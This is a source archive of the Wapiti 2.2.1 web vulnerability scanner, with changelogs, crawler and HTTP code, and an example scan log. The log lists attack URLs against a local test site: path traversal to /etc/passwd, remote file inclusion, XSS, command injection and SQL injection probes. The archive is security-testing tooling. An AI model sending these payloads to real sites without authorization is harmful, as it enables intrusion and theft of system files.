wapiti-2.2.1/0000755000000000000000000000000011316443126011510 5ustar rootrootwapiti-2.2.1/INSTALL0000644000000000000000000000017011064172655012545 0ustar rootrootNo installation procedure is available for the moment. Just extract the archive and launch Wapiti with python wapiti.py wapiti-2.2.1/example.txt0000644000000000000000000000670511064172655013722 0ustar rootrootFirst I use getcookie.py to login in the restricted area and get the cookie in cookies.txt bash-3.0$ python getcookie.py cookies.txt http://127.0.0.1/vuln/?page=login Please enter values for the folling form : url = http://127.0.0.1/vuln/login.php login (on) : toto password (on) : toto 0 : Then I scan the vuln website using the cookie and excluding the logout script bash-3.0$ python wapiti.py http://127.0.0.1/vuln/ -c cookies.txt -x http://127.0.0.1/vuln/index.php?page=logout .......................... Attacking urls (GET)... ----------------------- Warning fread (article) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?article=http%3A%2F%2Fwww.google.fr%2F&page=articles Unix include/fread (article) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?article=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&page=articles Warning require (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?article=plop.txt&page=http%3A%2F%2Fwww.google.fr%2F Unix include/fread (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?article=plop.txt&page=%2Fetc%2Fpasswd%00 Unix include/fread (article) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?article=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&page=articles2 Warning require (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?article=truc.txt&page=http%3A%2F%2Fwww.google.fr%2F Unix include/fread (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?article=truc.txt&page=%2Fetc%2Fpasswd%00 Warning require (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?page=http%3A%2F%2Fwww.google.fr%2F Unix include/fread (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?page=%2Fetc%2Fpasswd%00 Warning require (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?var=plop&page=http%3A%2F%2Fwww.google.fr%2F Unix include/fread (page) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?var=plop&page=%2Fetc%2Fpasswd%00 XSS (var) in http://127.0.0.1/vuln/ Evil url: http://127.0.0.1/vuln/?var=%3Cscript%3Evar+wapiti_687474703a2f2f3132372e302e302e312f7e7369726975732f76756c6e2f_766172%3Dnew+Boolean%28%29%3B%3C%2Fscript%3E&page=xss Command execution (var) in http://127.0.0.1/vuln/eval.php Evil url: http://127.0.0.1/vuln/eval.php?var=a%3Benv 500 HTTP Error code with Evil url: http://127.0.0.1/vuln/test.php?http%3A//www.google.fr/ 500 HTTP Error code with Evil url: http://127.0.0.1/vuln/test.php?a%3Benv 500 HTTP Error code with Evil url: http://127.0.0.1/vuln/test.php?'"( XSS (QUERY_STRING) in http://127.0.0.1/vuln/test.php Evil url: http://127.0.0.1/vuln/test.php?%3Cscript%3Evar%20wapiti_687474703a2f2f3132372e302e302e312f7e7369726975732f76756c6e2f746573742e706870_5155455259535452494e47%3Dnew%20Boolean%28%29%3B%3C/script%3E MySQL Injection (user) in http://127.0.0.1/vuln/usermsg.php Evil url: http://127.0.0.1/vuln/usermsg.php?user=%27%22%28 Attacking forms (POST)... ------------------------- SQL Injection found with http://127.0.0.1/vuln/login.php and params = login=%27%22%28&password=on coming from http://127.0.0.1/vuln/?page=login SQL Injection found with http://127.0.0.1/vuln/login.php and params = login=on&password=%27%22%28 coming from http://127.0.0.1/vuln/?page=login Looking for permanent XSS ------------------------- Upload scripts found : ---------------------- http://127.0.0.1/vuln/upload.php wapiti-2.2.1/ChangeLog_Wapiti0000644000000000000000000001453611316422475014614 0ustar rootroot29/12/2009 Version 2.2.1 (already) Bugfixes only Fixed a bug in lswww if root url is not given complete. Fixed a bug in lswww with a call to BeautifulSoup made on non text files. Fixed a bug that occured when verbosity = 2. Unicode error on stderr. Check the document's content-type and extension before attacking files on the query string. Added a timeout check in the nikto module when downloading the database. 28/12/2009 Version 2.2.0 Added a manpage. Internationalization : translations of Wapiti in spanish and french. Options -k and -i allow the scan to be saved and restored later. Added option -b to set the scope of the scan based on the root url given. Wrote a library to save handle cookies and save them in XML format. Modules are now loaded dynamically with a dependency system. Rewrote the -m option used to activate / deactivate attack modules. New module to search for backup files of scripts on the target webserver. New module to search for weakly configured .htaccess. New module to search dangerous files based on the Nikto database. Differ "raw" XSS from "urlencoded" XSS. Updated BeautifulSoup to version 3.0.8. Better encoding support for webpages (convert to Unicode) Added "resource consumption" as a vulnerability type. Fixed bug ID 2779441 "Python Version 2.5 required?" Fixed bug with special characters in HTML reports. 05/04/2008 Added more patterns for file handling vulnerabilities in PHP. Added GET_SQL and POST_SQL as modules (-m) for attacks. Modifier getcookie.py and cookie.py so they try to get the cookies even if cookielib fails. 27/03/2007 Updated ChangeLogs 26/03/2009 Fixed bug ID 2433127. Comparison was made with HTTP error codes on numeric values but httplib2 return the status code as a string. Forbid httplib2 to handle HTTP redirections. Wapiti and lswww will take care of this (more checks on urls...) Fixed a bug with Blind SQL attacks (the same attack could be launched several times) Fixed an error in blindSQLPayloads.txt. Changed the error message when Wapiti don't get any data from lswww. Verifications to be sure blind SQL attacks won't be launched if "standard" SQL attacks works. 25/03/2009 Exported blind SQL payloads from the code. Now in config file blindSQLPayloads.txt. Set timeout for time-based BSQL attacks to timetout used for HTTP requests + 1 second. Added Blind SQL as a type of vulnerability in the report generator. More verbosity for permanent XSS scan. More docstrings. Updated the REAME. 24/03/2009 Added some docstring to the code. Removed warnign on alpha code. First Blind SQL Injection implementation in Wapiti. Fixed some timeout errors. 22/03/2009 Fixed character encoding error in sql injection module. Changed the md5 and sha1 import in httplib2 to hashlib. 28/11/2008 Google Charts API is added to generate the charts of the reports. 15/11/2008 Re-integration of standard HTTP proxies in httplib2. Integration of HTTP CONNECT tunneling in Wapiti. Fixed bug ID 2257654 "getcookie.py error missing action in html form" 02/11/2008 Integraded the proxy implementation of httplib2 in Wapiti. Can now use SOCKSv5 and SOCKSv4 proxies. 22/10/2008 Fixed a bug with Cookie headers. 19/10/2008 Remplaced urllib2 by httplib2. Wapiti now use persistent HTTP connections, speed up the scan. Included a python SOCKS library. 09/10/2008 Version 2.0.0-beta Added the possibility to generate reports of the vulnerabilities found in HTML, XML or plain-text format. See options -o and -f. HTTP authentification now works. Added the option -n (or --nice) to prevent endless loops during scanning. More patterns for SQL vulnerability detection Code refactoring : more clear and more object-oriented New XSS function is now fully implemented The payloads have been separated from the code into configuration files. Updated BeautifulSoup 15/09/2008 Version 1.1.7-alpha Use GET method if not specified in "method" tag Keep an history of XSS payloads New XSS engine for GET method using a list of payloads to bypass filters New module HTTP.py for http requests Added fpassthru to file handling warnings Added a new new detection string for MS-SQL, submitted by Joe McCray 28/01/2007 Version 1.1.6 New version of lswww 24/10/2006 Version 1.1.5 Wildcard exclusion with -x (--exclude) option 22/10/2006 Fixed a typo in wapiti.py (setAuthCreddentials : one 'd' is enough) Fixed a bug with setAuthCredentials. 07/10/2006 Version 1.1.4 Some modifications have been made on getccokie.py so it can work on Webmin (and probably more web applications) Added -t (--timeout) option to set the timeout in seconds Added -v (--verbose) option to set the verbosity. Three availables modes : 0: only print found vulnerabilities 1: print current attacked urls (existing urls) 2: print every attack payload and url (very much informations... good for debugging) Wapiti is much more modular and comes with some functions to set scan and attack options... look the code ;) Some defaults options are availables as "modules" with option -m (--module) : GET_XSS: only scan for XSS with HTTP GET method (no post) POST_XSS: XSS attacks using POST and not GET GET_ALL: every attack without POST requests 12/08/2006 Version 1.1.3 Fixed the timeout bug with chunked responses (ID = 1536565 on SourceForge) 09/08/2006 Version 1.1.2 Fixed a bug with HTTP 500 and POST attacks 05/08/2006 Version 1.1.1 Fixed the UnboundLocalError due to socket timeouts (bug ID = 1534415 on SourceForge) 27/07/2006 Version 1.1.0 with urllib2 Detection string for mysql_error() Changed the mysql payload (see http://shiflett.org/archive/184 ) Modification of the README file 22/07/2006 Added CRLF Injection. 20/07/2006 Added LDAP Injection and Command Execution (eval, system, passthru...) 11/07/2006 -r (--remove) option to remove parameters from URLs Support for Basic HTTP Auth added but don't work with Python 2.4. Proxy support. Now use cookie files (option "-c file" or "--cookie file") -u (--underline) option to highlight vulnerable parameter in URL Detect more vulnerabilities. 04/07/2006: Now attacks scripts using QUERY_STRING as a parameter (i.e. http://server/script?attackme) 23/06/2006: Version 1.0.1 Can now use cookies !! (use -c var=data or --cookie var=data) Two utilities added : getcookie.py (interactive) and cookie.py (command line) to get a cookie. Now on Sourceforge 25/04/2006: Version 1.0.0 wapiti-2.2.1/ChangeLog_lswww0000644000000000000000000001215311316435741014533 0ustar rootroot29/12/2009 Version 2.3.1 Fixed a bug in lswww if root url is not given complete. Fixed a bug in lswww with a call to BeautifulSoup made on non text files. Fixed a bug that occured when verbosity = 2. Unicode error on stderr. 27/12/2009 Version 2.3.0 Internationalization and translation to english and spanish when called from Wapiti. Ability to save a scan session and restore it later (-i) Added option -b to set the scope of the scan based on the root url given as argument. Fixed bug ID 2779441 "Python Version 2.5 required?" Use an home made cookie library instead or urllib2's one. Keep aditionnal informations on the webpages (headers + encoding) Use BeautifulSoup to detect webpage encoding and handle parsing errors. Fixed a bug when "a href" or "form action" have an empty string as value. Better support of Unicode. 26/03/2009 Version 2.2.0 Fixed bug ID 2433127 with HTTP 404 error codes. Don't let httplib2 manage HTTP redirections : return the status code and let lswww handle the new url. 25/03/2009 Version 2.1.9 Added option -e (or --export) Saves urls and forms data to a XML file. We hope other fuzzers will allow importation of this file. 24/03/2009 More verifications on timeout errors. 22/03/2009 Version 2.1.8 Fixed bug ID: 2415094 Check on protocol found in hyperlinks was case-sentitive. Moved it to non-case-sensitive. Integration of a second linkParser class called linkParser2 from lswwwv2.py. This parser use only regexp to extract links and forms. 25/11/2008 httplib2 use lowercase names for the HTTP headers in opposition to urllib2 (first letter was uppercase). Changed the verifications on headers. 15/11/2008 Fixed a bug with links going to parrent directory. 02/11/2008 Better integration of proxy support provided by httplib2. It's now possible to use SOCKS proxies. 19/10/2008 Version 2.1.7 Now use httplib2 (http://code.google.com/p/httplib2/)n MIT licence instead of urllib2. The ability to use persistents connections makes the scan faster. 09/10/2008 Version 2.1.6 HTTP authentification now works Added the option -n (or --nice) to prevent endless loops during scanning 28/01/2007 Version 2.1.5 First take a look at the Content-Type instead of the document extension Added BeautifulSoup as an optionnal module to correct bad html documents (better use tidy if you can) 24/10/2006 Version 2.1.4 Wildcard exclusion with -x (--exclude) option 22/10/2006 Fixed an error with url parameters handling that appeared in precedent version. Fixed a typo in lswww.py (setAuthCreddentials : one 'd' is enough) 07/10/2006 Version 2.1.3 Three verbose mode with -v (--verbose) option 0: print only results 1: print dots for each page accessed (default mode) 2: print each found url durring scan Timeout in seconds can be set with -t (--timeout) option Fixed bug "crash when no content-type is returned" Fixed an error with 404 webpages Fixed a bug when the only parameter of an url is a forbidden one 09/08/2006 Version 2.1.2 Fixed a bug with regular expressions 05/08/2006 Version 2.1.1 Remove redundant slashes from urls (e.g. http://server/dir//page.php converted to http://server/dir/page.php) 20/07/2006 Version 2.1.0 with urllib2 11/07/2006 -r (--remove) option to remove parameters from URLs Generate URL with GET forms instead of using POST by default Support for Basic HTTP Auth added but don't work with Python 2.4. Now use cookie files (option "-c file" or "--cookie file") Extracts links from Location header fields 06/07/2006 Extract links from "Location:" headers (HTTP 301 and 302) Default type for "input" elements is set to "text" (as written in the HTML 4.0 specifications) Added "search" in input types (created for Safari browsers) 04/07/2006 Fixed a bug with empty parameters tuples (convert http://server/page?&a=2 to http://server/page?a=2) 23/06/2006 Version 2.0.1 Take care of the "submit" type No extra data sent when a page contains several forms Corrected a bug with urls finishing by '?' Support Cookies !! 25/04/2006 Version 2.0 Extraction des formulaires sous la forme d'une liste de tuples contenant chacun un string (url du script cible) et un dict contenant les noms des champs et leur valeur par dfaut (ou 'true' si vide) Recense les scripts gerant l'upload Peut maintenant fonctionner comme module 19/04/2006 Version 1.1 Lecture des tags insensible a la casse Gestion du Ctrl+C pour interrompre proprement le programme Extraction des urls dans les balises form (action) 12/10/2005 Version 1.0 Gestion des liens syntaxiquement valides mais pointant vers des ressources inexistantes (404) 11/09/2005 Beta4 Utilisation du module getopt qui permet de specifier facilement les urls a visiter en premier, les urls a exclure (nouveau !) ou encore le proxy a utiliser 24/08/2005 Beta3 Ajout d'un timeout pour la lecture des pages pour ne pas bloquer sur un script bugge 23/08/2005 Version beta2 Prise en charge des indexs generes par Apache Filtre sur les protocoles Gestion des liens qui remontent l'arborescence Gestion des liens vides 02/08/2005 Sortie de la beta1 wapiti-2.2.1/src/0000755000000000000000000000000011316442105012273 5ustar rootrootwapiti-2.2.1/src/net/0000755000000000000000000000000011316442105013061 5ustar rootrootwapiti-2.2.1/src/net/HTTP.py0000644000000000000000000001233011316442105014211 0ustar rootroot#!/usr/bin/env python import lswww import urllib import urlparse import socket import os import cgi import httplib2 import libcookie class HTTPResponse: data = "" code = "200" headers = {} def __init__(self, data, code, headers): self.data = data self.code = code self.headers = headers def getPage(self): "Return the content of the page." return self.data def getCode(self): "Return the HTTP Response code ." return self.code def getInfo(self): "Return the HTTP headers of the Response." return self.headers def getPageCode(self): "Return a tuple of the content and the HTTP Response code." return (self.data, self.code) class HTTP: root = "" myls = "" server = "" cookie = "" proxy = "" auth_basic = [] timeout = 6 h = None cookiejar = None def __init__(self, root): self.myls = lswww.lswww(root) self.root = self.myls.root self.server = urlparse.urlparse(self.root)[1] self.myls.verbosity(1) socket.setdefaulttimeout(self.timeout) # HttpLib2 vars proxy = None if self.proxy != "": (proxy_type, proxy_usr, proxy_pwd, proxy_host, proxy_port, path, query, fragment) = httplib2.parse_proxy(self.proxy) proxy = httplib2.ProxyInfo(proxy_type, proxy_host, proxy_port, proxy_user=proxy_usr, proxy_pass=proxy_pwd) self.cookiejar = libcookie.libcookie(self.server) self.h = httplib2.Http(cache = None, timeout = self.timeout, proxy_info = proxy) self.h.follow_redirects=False if self.auth_basic != []: self.h.add_credentials(self.auth_basic[0], self.auth_basic[1]) def browse(self, crawlerFile): "Explore the entire website under the pre-defined root-url." self.myls.go(crawlerFile) urls = self.myls.getLinks() forms = self.myls.getForms() return urls, forms def getUploads(self): "Return the url of the pages used for file uploads." return self.myls.getUploads() def send(self, target, post_data = None, http_headers = {}, method=""): "Send a HTTP Request. GET or POST (if post_data is set)." data = "" code = "0" info = {} _headers = self.cookiejar.headers_url(target) _headers.update(http_headers) if post_data == None: if method != "": info, data = self.h.request(target, method, headers = _headers) else: info, data = self.h.request(target, headers = _headers) else: _headers.update({'Content-type': 'application/x-www-form-urlencoded'}) if method != "": info, data = self.h.request(target, method, headers = _headers, body = post_data) else: info, data = self.h.request(target, "POST", headers = _headers, body = post_data) code = info['status'] return HTTPResponse(data, code, info) def quote(self, url): "Encode a string with hex representation (%XX) for special characters." return urllib.quote(url) def encode(self, url, encoding = None): "Encode a sequence of two-element tuples or dictionary into a URL query string." if encoding != None and encoding != "": tmp = {} for k, v in url.items(): tmp[k.encode(encoding, "ignore")] = v.encode(encoding, "ignore") return urllib.urlencode(tmp) return urllib.urlencode(url) def uqe(self, url, encoding = None): "urlencode a string then interpret the hex characters (%41 will give 'A')." return urllib.unquote(self.encode(url, encoding)) def escape(self,url): "Change special characters in their html entities representation." return cgi.escape(url, quote = True).replace("'", "%27") def setTimeOut(self, timeout = 6): "Set the time to wait for a response from the server." self.timeout = timeout self.myls.setTimeOut(timeout) def getTimeOut(self): "Return the timeout used for HTTP requests." return self.timeout def setProxy(self, proxy = ""): "Set a proxy to use for HTTP requests." self.proxy = proxy self.myls.setProxy(proxy) def addStartURL(self, url): "Specify an URL to start the scan with. Can be called several times." self.myls.addStartURL(url) def addExcludedURL(self, url): "Specify an URL to exclude from the scan. Can be called several times." self.myls.addExcludedURL(url) def setCookieFile(self, cookie): "Load session data from a cookie file" self.cookie = cookie if os.path.isfile(self.cookie): self.cookiejar.loadfile(self.cookie) self.myls.setCookieFile(cookie) def setAuthCredentials(self, auth_basic): "Set credentials to use if the website require an authentification." self.auth_basic = auth_basic self.myls.setAuthCredentials(auth_basic) def addBadParam(self, bad_param): """Exclude a parameter from an url (urls with this parameter will be modified. This function can be call several times""" self.myls.addBadParam(bad_param) def setNice(self, nice = 0): """Define how many tuples of parameters / values must be sent for a given URL. Use it to prevent infinite loops.""" self.myls.setNice(nice) def setScope(self, scope): """Set the scope of the crawler for the analysis of the web pages""" self.myls.setScope(scope) def verbosity(self, vb): "Define the level of verbosity of the output." self.myls.verbosity(vb) wapiti-2.2.1/src/net/getcookie.py0000644000000000000000000000715611316442105015415 0ustar rootroot#!/usr/bin/env python # Copyright (C) 2006 Nicolas Surribas # # This file is part of Wapiti. # # Wapiti is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Wapiti is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import urllib import urllib2 import urlparse import sys, socket, lswww, HTMLParser import libcookie import os import BeautifulSoup if "_" not in dir(): def _(s): return s if len(sys.argv) != 3: sys.stderr.write("Usage: python getcookie.py \n") sys.exit(1) COOKIEFILE = sys.argv[1] url = sys.argv[2] # Some websites/webapps like Webmin send a first cookie to see if the browser support them # so we must collect these test-cookies during authentification. lc = libcookie.libcookie(url) lc.loadfile(COOKIEFILE) lc.delete(urlparse.urlparse(url)[1]) current = url.split("#")[0] current = current.split("?")[0] currentdir = "/".join(current.split("/")[:-1]) + "/" proto = url.split("://")[0] agent = {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} req = urllib2.Request(url) socket.setdefaulttimeout(6) try: fd = urllib2.urlopen(req) except IOError: print _("Error getting url") sys.exit(1) try: htmlSource = fd.read() except socket.timeout: print _("Error fetching page") sys.exit(1) p = lswww.linkParser(url) try: p.feed(htmlSource) except HTMLParser.HTMLParseError, err: htmlSource = BeautifulSoup.BeautifulSoup(htmlSource).prettify() try: p.reset() p.feed(htmlSource) except HTMLParser.HTMLParseError, err: pass lc.add(fd, htmlSource) if len(p.forms) == 0: print _("No forms found in this page !") sys.exit(1) myls = lswww.lswww(url) i = 0 nchoice = 0 if len(p.forms) > 1: print _("Choose the form you want to use :") for form in p.forms: print print "%d) %s" % (i, myls.correctlink(form[0], current, currentdir, proto)) for field, value in form[1].items(): print "\t" + field + " (" + value + ")" i += 1 ok = False while ok == False: choice = raw_input(_("Enter a number : ")) if choice.isdigit(): nchoice = int(choice) if nchoice < i and nchoice >= 0: ok = True form = p.forms[nchoice] print _("Please enter values for the folling form :") print "url = " + myls.correctlink(form[0], current, currentdir, proto) d = {} for field, value in form[1].items(): str = raw_input(field + " (" + value + ") : ") d[field] = str form[1].update(d) url = myls.correctlink(form[0], current, currentdir, proto) server = urlparse.urlparse(url)[1] script = urlparse.urlparse(url)[2] if urlparse.urlparse(url)[4] != "": script += "?" + urlparse.urlparse(url)[4] params = urllib.urlencode(form[1]) txheaders = {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Referer' : sys.argv[2]} path = os.path.dirname(urllib2.urlparse.urlparse(url)[2]) txheaders.update( lc.headers_url(url) ) try: req = urllib2.Request(url, params, txheaders) handle = urllib2.urlopen(req) except IOError, e: print _("Error getting url"), url sys.exit(1) htmlSource = handle.read() lc.add(handle, htmlSource) lc.save(COOKIEFILE) wapiti-2.2.1/src/net/__init__.py0000644000000000000000000000000011316442105015160 0ustar rootrootwapiti-2.2.1/src/net/lswww.py0000644000000000000000000007424511316442105014632 0ustar rootroot#!/usr/bin/env python # lswww v2.3.0 - A web spider library # Copyright (C) 2006 Nicolas Surribas # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import sys import re import socket import getopt import os import HTMLParser import urllib import urllib2 import httplib2 from htmlentitydefs import name2codepoint as n2cp from xml.dom import minidom from crawlerpersister import CrawlerPersister import libcookie import BeautifulSoup class lswww: """ lswww explore a website and extract links and forms fields. Usage: python lswww.py http://server.com/base/url/ [options] Supported options are: -s --start To specify an url to start with -x --exclude To exclude an url from the scan (for example logout scripts) You can also use a wildcard (*) Exemple : -x "http://server/base/?page=*&module=test" or -x http://server/base/admin/* to exclude a directory -p --proxy To specify a proxy Exemple: -p http://proxy:port/ -c --cookie To use a cookie -a --auth Set credentials for HTTP authentication Doesn't work with Python 2.4 -r --remove Remove a parameter from URLs -v --verbose Set verbosity level 0: only print results 1: print a dot for each url found (default) 2: print each url -t --timeout Set the timeout (in seconds) -n --nice Define a limit of urls to read with the same pattern Use this option to prevent endless loops Must be greater than 0 -i --continue This parameter indicates Wapiti to continue with the scan from the specified file, this file should contain data from a previous scan. The file is optional, if it is not specified, Wapiti takes the default file from \"scans\" folder. -h --help To print this usage message """ SCOPE_DOMAIN = "domain" SCOPE_FOLDER = "folder" SCOPE_PAGE = "page" SCOPE_DEFAULT = "default" root = "" server = "" tobrowse = [] browsed = {} proxy = "" excluded = [] forms = [] uploads = [] allowed = ['php', 'html', 'htm', 'xml', 'xhtml', 'xht', 'xhtm', 'asp', 'aspx', 'php3', 'php4', 'php5', 'txt', 'shtm', 'shtml', 'phtm', 'phtml', 'jhtml', 'pl', 'jsp', 'cfm', 'cfml'] verbose = 0 cookie = "" auth_basic = [] bad_params = [] timeout = 6 h = None global_headers = {} cookiejar = None scope = None link_encoding = {} persister = None # 0 means no limits nice = 0 def __init__(self, root, crawlerFile=None): if root.find("http://") != 0 and root.find("https://") != 0: root = "http://" + root if root[-1] != "/" and (root.split("://")[1]).find("/") == -1: root += "/" if(self.__checklink(root)): print _("Invalid link argument") sys.exit(0) server = (root.split("://")[1]).split("/")[0] self.root = root # Initial URL self.server = server # Domain self.scopeURL = root # Scope of the analysis self.tobrowse.append(root) self.persister = CrawlerPersister() def setTimeOut(self, timeout = 6): """Set the timeout in seconds to wait for a page""" self.timeout = timeout def setProxy(self, proxy = ""): """Set proxy preferences""" self.proxy = proxy def setNice(self, nice=0): """Set the maximum of urls to visit with the same pattern""" self.nice = nice def setScope(self, scope): self.scope = scope if scope == self.SCOPE_FOLDER: self.scopeURL = "/".join(self.root.split("/")[:-1]) + "/" elif scope == self.SCOPE_DOMAIN: self.scopeURL = "http://" + self.server def addStartURL(self, url): if(self.__checklink(url)): print _("Invalid link argument") + ":", url sys.exit(0) if(self.__inzone(url) == 0): self.tobrowse.append(url) def addExcludedURL(self, url): """Add an url to the list of forbidden urls""" self.excluded.append(url) def setCookieFile(self, cookie): """Set the file to read the cookie from""" self.cookie = cookie def setAuthCredentials(self, auth_basic): self.auth_basic = auth_basic def addBadParam(self, bad_param): self.bad_params.append(bad_param) def browse(self, url): """Extract urls from a webpage and add them to the list of urls to browse if they aren't in the exclusion list""" # return an empty dictionnary => won't be logged # We don't need destination anchors current = url.split("#")[0] # Url without query string current = current.split("?")[0] # Get the dirname of the file currentdir = "/".join(current.split("/")[:-1]) + "/" # Timeout must not be too long to block big documents (for exemple a download script) # and not too short to give good results socket.setdefaulttimeout(self.timeout) try: info, data = self.h.request(url, headers = self.cookiejar.headers_url(url)) except socket.timeout: self.excluded.append(url) return {} code = info['status'] if not self.link_encoding.has_key(url): self.link_encoding[url] = "" proto = url.split("://")[0] if proto == "http" or proto == "https": if not isinstance(proto, unicode): proto = unicode(proto) # Check the content-type first #if not u.info().get("Content-Type"): if not info.has_key("content-type"): # Sometimes there's no content-type... so we rely on the document extension if (current.split(".")[-1] not in self.allowed) and current[-1] != "/": return info elif info["content-type"].find("text") == -1: return info page_encoding = BeautifulSoup.BeautifulSoup(data).originalEncoding # Manage redirections if info.has_key("location"): redir = self.correctlink(info["location"], current, currentdir, proto) if redir != None: if(self.__inzone(redir) == 0): self.link_encoding[redir] = self.link_encoding[url] # Is the document already visited of forbidden ? if (redir in self.browsed.keys()) or (redir in self.tobrowse) or \ self.isExcluded(redir): pass else: # No -> Will browse it soon self.tobrowse.append(redir) if page_encoding != None: htmlSource = unicode(data, page_encoding, "ignore") else: htmlSource = data p = linkParser(url) try: p.feed(htmlSource) except HTMLParser.HTMLParseError, err: htmlSource = BeautifulSoup.BeautifulSoup(htmlSource).prettify() try: p.reset() p.feed(htmlSource) except HTMLParser.HTMLParseError, err: p = linkParser2(url, self.verbose) p.feed(htmlSource) # Sometimes the page is badcoded but the parser doesn't see the error # So if we got no links we can force a correction of the page if len(p.liens) == 0: htmlSource = BeautifulSoup.BeautifulSoup(htmlSource).prettify() try: p.reset() p.feed(htmlSource) except HTMLParser.HTMLParseError, err: p = linkParser2(url, self.verbose) p.feed(htmlSource) for lien in p.uploads: self.uploads.append(self.correctlink(lien, current, currentdir, proto)) for lien in p.liens: lien = self.correctlink(lien, current, currentdir, proto) if lien != None: if(self.__inzone(lien) == 0): # Is the document already visited of forbidden ? if (lien in self.browsed.keys()) or (lien in self.tobrowse) or self.isExcluded(lien): pass elif self.nice > 0: if self.__countMatches(lien) >= self.nice: # don't waste time next time we found it self.excluded.append(lien) return {} else: self.tobrowse.append(lien) else: # No -> Will browse it soon self.tobrowse.append(lien) self.link_encoding[lien] = page_encoding for form in p.forms: action = self.correctlink(form[0], current, currentdir, proto) if action == None: action = current form = (action, form[1], url, page_encoding) if form[0:3] not in [x[0:3] for x in self.forms]: self.forms.append(form) # We automaticaly exclude 404 urls if code == "404": self.excluded.append(url) #return {} # exclude from scan but can be useful for some modules maybe return info def correctlink(self, lien, current, currentdir, proto): """Transform relatives urls in absolutes ones""" # No leading or trailing whitespaces lien = lien.strip() if lien == "": return current if lien == "..": lien = "../" # bad protocols llien = lien.lower() if llien.find("telnet:", 0) == 0 or llien.find("ftp:", 0) == 0 or \ llien.find("mailto:", 0) == 0 or llien.find("javascript:", 0) == 0 or \ llien.find("news:", 0) == 0 or llien.find("file:", 0) == 0 or \ llien.find("gopher:", 0) == 0 or llien.find("irc:", 0) == 0: return None # Good protocols or relatives links else: # full url, nothing to do :) if (lien.find("http://", 0) == 0) or (lien.find("https://", 0) == 0): pass else: # root-url related link if(lien[0] == '/'): lien = proto + "://" + self.server + lien else: # same page + query string if(lien[0] == '?'): lien = current + lien # current directory related link else: lien = currentdir + lien # No destination anchor if lien.find("#") != -1: lien = lien.split("#")[0] # reorganize parameters in alphabetical order if lien.find("?") != -1: args = lien.split("?")[1] if args.find("&") != -1 : args = args.split("&") args.sort() args = [i for i in args if i != "" and i.find("=") >= 0] for i in self.bad_params: for j in args: if j.startswith(i + "="): args.remove(j) args = "&".join(args) # a hack for auto-generated Apache directory index if args in ["C=D;O=A", "C=D;O=D", "C=M;O=A", "C=M;O=D", "C=N;O=A", "C=N;O=D", "C=S;O=A", "C=S;O=D"]: lien = lien.split("?")[0] else: lien = lien.split("?")[0] + "?" + args # Remove the trailing '?' if its presence doesn't make sense if lien[-1:] == "?": lien = lien[:-1] # remove useless slashes if lien.find("?") != -1: file = lien.split("?")[0] file = re.sub("[^:]//+", "/", file) lien = file + "?" + lien.split("?")[1] # links going to a parrent directory (..) while re.search("/([~:!,;a-zA-Z0-9\.\-+_]+)/\.\./", lien) != None: lien = re.sub("/([~:!,;a-zA-Z0-9\.\-+_]+)/\.\./", "/", lien) lien = re.sub("/\./", "/", lien) # Everything is good here return lien def __checklink(self, url): """Verify the protocol""" if (url.find("http://", 0) == 0) or (url.find("https://", 0) == 0): return 0 else: return 1 def __inzone(self, url): """Make sure the url is under the root url""" if(url.find(self.scopeURL, 0) == 0): return 0 else: return 1 def isExcluded(self, url): """Return True if the url is not allowed to be scan""" match = False for regexp in self.excluded: if self.__reWildcard(regexp, url): match = True return match def __countMatches(self, url): """Return the number of known urls matching the pattern of the given url""" matches = 0 if url.find("?") != -1: if url.find("=") != -1: i = 0 for x in range(0, url.count("=")): start = url.find("=", i) i = url.find("&", start) if i != -1: for u in self.browsed.keys(): if u.startswith(url[:start] + "=") and u.endswith(url[i:]): matches += 1 else: for u in self.browsed.keys(): if u.startswith(url[:start] + "="): matches += 1 else:#QUERY_STRING for a in [u for u in self.browsed.keys() if u.find("=") < 0]: if a.startswith(url.split("?")[0]): matches += 1 return matches def __reWildcard(self, regexp, string): """Wildcard-based regular expression system""" regexp = re.sub("\*+", "*", regexp) match = True if regexp.count("*") == 0: if regexp == string: return True else: return False blocks = regexp.split("*") start = "" end = "" if not regexp.startswith("*"): start = blocks[0] if not regexp.endswith("*"): end = blocks[-1] if start != "": if string.startswith(start): blocks = blocks[1:] else: return False if end != "": if string.endswith(end): blocks = blocks[:-1] else: return False blocks = [block for block in blocks if block != ""] if blocks == []: return match for block in blocks: i = string.find(block) if i == -1: return False string = string[i + len(block):] return match def go(self, crawlerFile): proxy = None if self.proxy != "": (proxy_type, proxy_usr, proxy_pwd, proxy_host, proxy_port, path, query, fragment) = 